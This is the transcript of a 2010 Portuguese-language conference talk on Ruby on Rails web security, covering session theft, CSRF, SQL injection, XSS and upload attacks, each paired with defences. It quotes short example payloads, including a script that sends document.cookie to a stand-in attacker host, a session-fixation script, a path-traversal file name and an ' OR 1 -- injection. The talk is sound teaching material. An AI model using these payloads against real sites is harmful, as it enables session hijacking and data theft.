SegurançA E Ruby On Rails
Upcoming SlideShare
Loading in...5
×
 

SegurançA E Ruby On Rails

on

  • 2,183 views

Segurança e Ruby on Rails: O que você deve fazer, e o que o Rails pode fazer por você

Segurança e Ruby on Rails: O que você deve fazer, e o que o Rails pode fazer por você

Statistics

Views

Total Views
2,183
Views on SlideShare
2,183
Embed Views
0

Actions

Likes
0
Downloads
31
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

SegurançA E Ruby On Rails SegurançA E Ruby On Rails Presentation Transcript

  • Segurança & Ruby on Rails http://julio.monteiro.eti.br quinta-feira, 28 de janeiro de 2010
  • whoami quinta-feira, 28 de janeiro de 2010
  • Joinville, SC quinta-feira, 28 de janeiro de 2010
  • CCT, UDESC quinta-feira, 28 de janeiro de 2010
  • quinta-feira, 28 de janeiro de 2010
  • quinta-feira, 28 de janeiro de 2010
  • Joinville,  SC quinta-feira, 28 de janeiro de 2010
  • Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  • São  Paulo,  SP Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  • Benguela,  Angola São  Paulo,  SP Curi.ba,  PR Joinville,  SC quinta-feira, 28 de janeiro de 2010
  • ra ut ss o az iro od dr du la ov el an te zo dr ha d n on ca ev an rri za ac fra jm ed ev ga gil m @ @ @ @ @ @ @ @p @r @j @p @m @a at ob ack ita sp i ne ric ert so n gor aze lize kes oe rov asg pa sp i ina g ra ke nh a quinta-feira, 28 de janeiro de 2010
  • Sessões quinta-feira, 28 de janeiro de 2010
  • Sessões • HTTP é um protocolo stateless • Sessão é identificada por um cookie (contendo uma identificação e um hash) • Enviado do servidor para o cliente, e do cliente para o servidor quinta-feira, 28 de janeiro de 2010
  • quinta-feira, 28 de janeiro de 2010
  • Roubo de Sessão quinta-feira, 28 de janeiro de 2010
  • Roubo de Sessão • Roubo de um arquivo de cookie por um “atacante” • Permite que o atacante aja em nome da vítima quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores “públicos” quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS quinta-feira, 28 de janeiro de 2010
  • Como uma sessão pode ser roubada? Roubo Como combater? Sniffers em uma rede SSL (https) Utilizar computadores Botão “logout”, “públicos” expirar sessão Session Fixation (mais adiante) XSS (mais adiante) quinta-feira, 28 de janeiro de 2010
  • Dica: Nunca armazene objetos grandes em uma sessão. quinta-feira, 28 de janeiro de 2010
  • Dica: Nunca armazene informações críticas em uma sessão. quinta-feira, 28 de janeiro de 2010
  • Como uma sessão é armazenada? quinta-feira, 28 de janeiro de 2010
  • Como uma sessão é armazenada? • ActiveRecordStore: armazena no banco de dados (tabela “sessions”) • CookieStore: armazena em um cookie do usuário quinta-feira, 28 de janeiro de 2010
  • quinta-feira, 28 de janeiro de 2010
  • Replay Attack no CookieStore quinta-feira, 28 de janeiro de 2010
  • Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) quinta-feira, 28 de janeiro de 2010
  • Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 quinta-feira, 28 de janeiro de 2010
  • Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 quinta-feira, 28 de janeiro de 2010
  • Replay Attack no CookieStore 1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão) 2. Usuário compra algo custando R$40 3. Sessão agora armazena que usuário tem R$10 4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente quinta-feira, 28 de janeiro de 2010
  • Session Fixation quinta-feira, 28 de janeiro de 2010
  • Session Fixation <script> document.cookie="_session_id=16d5b78abb 28e3d6206b60f22a03c8d9"; </script> quinta-feira, 28 de janeiro de 2010
  • quinta-feira, 28 de janeiro de 2010 Session Fixation
  • Como combater Session Fixation? Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou navegador). quinta-feira, 28 de janeiro de 2010
  • Expirando sessões quinta-feira, 28 de janeiro de 2010
  • Expirando sessões • Expire-as de tempo em tempo (com base no updated_at e no created_at) • Um simples rake no crontab já resolve quinta-feira, 28 de janeiro de 2010
  • CSRF quinta-feira, 28 de janeiro de 2010
  • CSRF • Cross-Site Request Forgery • Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação quinta-feira, 28 de janeiro de 2010
  • CSRF quinta-feira, 28 de janeiro de 2010
  • Como combater CSRF? Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) quinta-feira, 28 de janeiro de 2010
  • quinta-feira, 28 de janeiro de 2010
  • quinta-feira, 28 de janeiro de 2010
  • Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token quinta-feira, 28 de janeiro de 2010
  • Como combater CSRF? • Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível) • Utilize um token quinta-feira, 28 de janeiro de 2010
  • Injeção em Redirecionamentos quinta-feira, 28 de janeiro de 2010
  • Injeção em Redirecionamentos http://www.example.com/site/legacy? param1=xy&param2=23& host=www.attacker.com quinta-feira, 28 de janeiro de 2010
  • Como combater injeções em Redirecionamentos? Não aceite URLs (ou partes dela) como parâmetro. quinta-feira, 28 de janeiro de 2010
  • Uploads de arquivos quinta-feira, 28 de janeiro de 2010
  • Uploads de arquivos • Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo. • Se você armazena os arquivos em /var/ www/uploads, imagine se alguém fizer upload de um arquivo chamado ../../../etc/passwd ? quinta-feira, 28 de janeiro de 2010
  • Como combater uploads maliciosos? Evite receber o nome do arquivo, ou crie um filtro com expressão regular. quinta-feira, 28 de janeiro de 2010
  • DoS por uploads quinta-feira, 28 de janeiro de 2010
  • DoS por uploads • Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente. • Imagine alguém enviando milhares de arquivos ao mesmo tempo? quinta-feira, 28 de janeiro de 2010
  • Como combater DoS por uploads? Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em uma máquina separada. quinta-feira, 28 de janeiro de 2010
  • Upload de executáveis quinta-feira, 28 de janeiro de 2010
  • Upload de executáveis • Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host) quinta-feira, 28 de janeiro de 2010
  • Como combater DoS por uploads? Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele diretório. quinta-feira, 28 de janeiro de 2010
  • Downloads não autorizados quinta-feira, 28 de janeiro de 2010
  • Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em: quinta-feira, 28 de janeiro de 2010
  • Downloads não autorizados • Evite que os usuários "escolham" o que querem baixar, como em: quinta-feira, 28 de janeiro de 2010
  • Como combater downloads não autorizados? quinta-feira, 28 de janeiro de 2010
  • Como combater downloads não autorizados? Opcionalmente, armazene o nome do arquivo no banco de dados, identificando- o para o usuário através de um id. quinta-feira, 28 de janeiro de 2010
  • Mass Assignment quinta-feira, 28 de janeiro de 2010
  • Mass Assignment • Você sabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :) quinta-feira, 28 de janeiro de 2010
  • Mass Assignment quinta-feira, 28 de janeiro de 2010
  • Mass Assignment http://www.example.com/user/signup? user[user]=ow3ned&user[admin]=1 quinta-feira, 28 de janeiro de 2010
  • Como combater aproveitamentos do mass assignment? quinta-feira, 28 de janeiro de 2010
  • Como combater aproveitamentos do mass assignment? Modo paranóico: quinta-feira, 28 de janeiro de 2010
  • Força bruta no login do usuário quinta-feira, 28 de janeiro de 2010
  • Como combater ataque de força bruta? CAPTCH depois de determinadas tentativas falhas de login. Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”. quinta-feira, 28 de janeiro de 2010
  • Hijacks diversos quinta-feira, 28 de janeiro de 2010
  • Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. quinta-feira, 28 de janeiro de 2010
  • Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar quinta-feira, 28 de janeiro de 2010
  • Hijacks diversos • Senhas: requira que o usuário digite a antiga senha para conseguir mudar. • Email: requira que o usuário digite a antiga senha para conseguir mudar • Outros: lembra do “problema” do GMail? quinta-feira, 28 de janeiro de 2010
  • CAPTCHA quinta-feira, 28 de janeiro de 2010
  • CAPTCHA negativo quinta-feira, 28 de janeiro de 2010
  • Informações sensíveis no Log quinta-feira, 28 de janeiro de 2010
  • Como combater informações sensíveis no log? quinta-feira, 28 de janeiro de 2010
  • Expressões regulares quinta-feira, 28 de janeiro de 2010
  • Expressões regulares quinta-feira, 28 de janeiro de 2010
  • Expressões regulares quinta-feira, 28 de janeiro de 2010
  • Como combater aproveitamento de expressões regulares? Use A ao invés de ^ Use Z ao invés de $ quinta-feira, 28 de janeiro de 2010
  • Escalação de privilégios quinta-feira, 28 de janeiro de 2010
  • Escalação de privilégios http://www.example.com/projects/1 quinta-feira, 28 de janeiro de 2010
  • Escalação de privilégios quinta-feira, 28 de janeiro de 2010
  • Como combater aproveitamento de expressões regulares? quinta-feira, 28 de janeiro de 2010
  • Whitelist > Blacklist quinta-feira, 28 de janeiro de 2010
  • Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] quinta-feira, 28 de janeiro de 2010
  • Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected quinta-feira, 28 de janeiro de 2010
  • Whitelist rula! • before_filter :only => [...] ao invés de before_filter :except => [...] • attr_accessible ao invés de attr_protected • Permita somente <strong> ao invés de remover <script> quinta-feira, 28 de janeiro de 2010
  • Injeção SQL quinta-feira, 28 de janeiro de 2010
  • Injeção SQL quinta-feira, 28 de janeiro de 2010
  • Injeção SQL ' OR 1 -- quinta-feira, 28 de janeiro de 2010
  • Injeção SQL ' OR 1 -- SELECT * FROM projects WHERE name = '' OR 1 --' quinta-feira, 28 de janeiro de 2010
  • Como combater injeções SQL? quinta-feira, 28 de janeiro de 2010
  • XSS quinta-feira, 28 de janeiro de 2010
  • XSS • Cross Site Scripting • Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report. • Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008. • Diversas ferramentas para auxiliar estes ataques, como o MPack. quinta-feira, 28 de janeiro de 2010
  • XSS: Injeção JavaScript quinta-feira, 28 de janeiro de 2010
  • XSS: Injeção JavaScript <script>alert('Hello');</script> <table background="javascript:alert('Hello')"> quinta-feira, 28 de janeiro de 2010
  • XSS: Roubo de Cookie quinta-feira, 28 de janeiro de 2010
  • XSS: Roubo de Cookie <script>document.write(document.cookie);</script> <script>document.write('<img src="http:// www.attacker.com/' + document.cookie + '">');</script> quinta-feira, 28 de janeiro de 2010
  • XSS: Defacement quinta-feira, 28 de janeiro de 2010
  • XSS: Defacement <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> quinta-feira, 28 de janeiro de 2010
  • Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. quinta-feira, 28 de janeiro de 2010
  • Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML (), também chamado de h(). quinta-feira, 28 de janeiro de 2010
  • Como combater estes ataques XSS? Limpe a “entrada” do usuário com o método sanatize. Limpe a “saída” (impressão) com escapeHTML (), também chamado de h(). <%=h @user.name %> quinta-feira, 28 de janeiro de 2010
  • XSS: Injeção CSS quinta-feira, 28 de janeiro de 2010
  • XSS: Injeção CSS background:url('javascript:alert(1)') quinta-feira, 28 de janeiro de 2010
  • Como combater estes ataque XSS de injeção CSS? Evite CSS personalizado. quinta-feira, 28 de janeiro de 2010
  • Dicas sobre a interface administrativa quinta-feira, 28 de janeiro de 2010
  • Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. quinta-feira, 28 de janeiro de 2010
  • Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). quinta-feira, 28 de janeiro de 2010
  • Dicas sobre a interface administrativa • Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies. • Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa). • Que tal uma senha especial para ações importantes, como deletar usuários? quinta-feira, 28 de janeiro de 2010
  • http://www.pragprog.com quinta-feira, 28 de janeiro de 2010
  • http://www.rorsecurity.info quinta-feira, 28 de janeiro de 2010
  • http://guias.rubyonrails.pro.br/ quinta-feira, 28 de janeiro de 2010
  • Segurança & Ruby on Rails http://julio.monteiro.eti.br quinta-feira, 28 de janeiro de 2010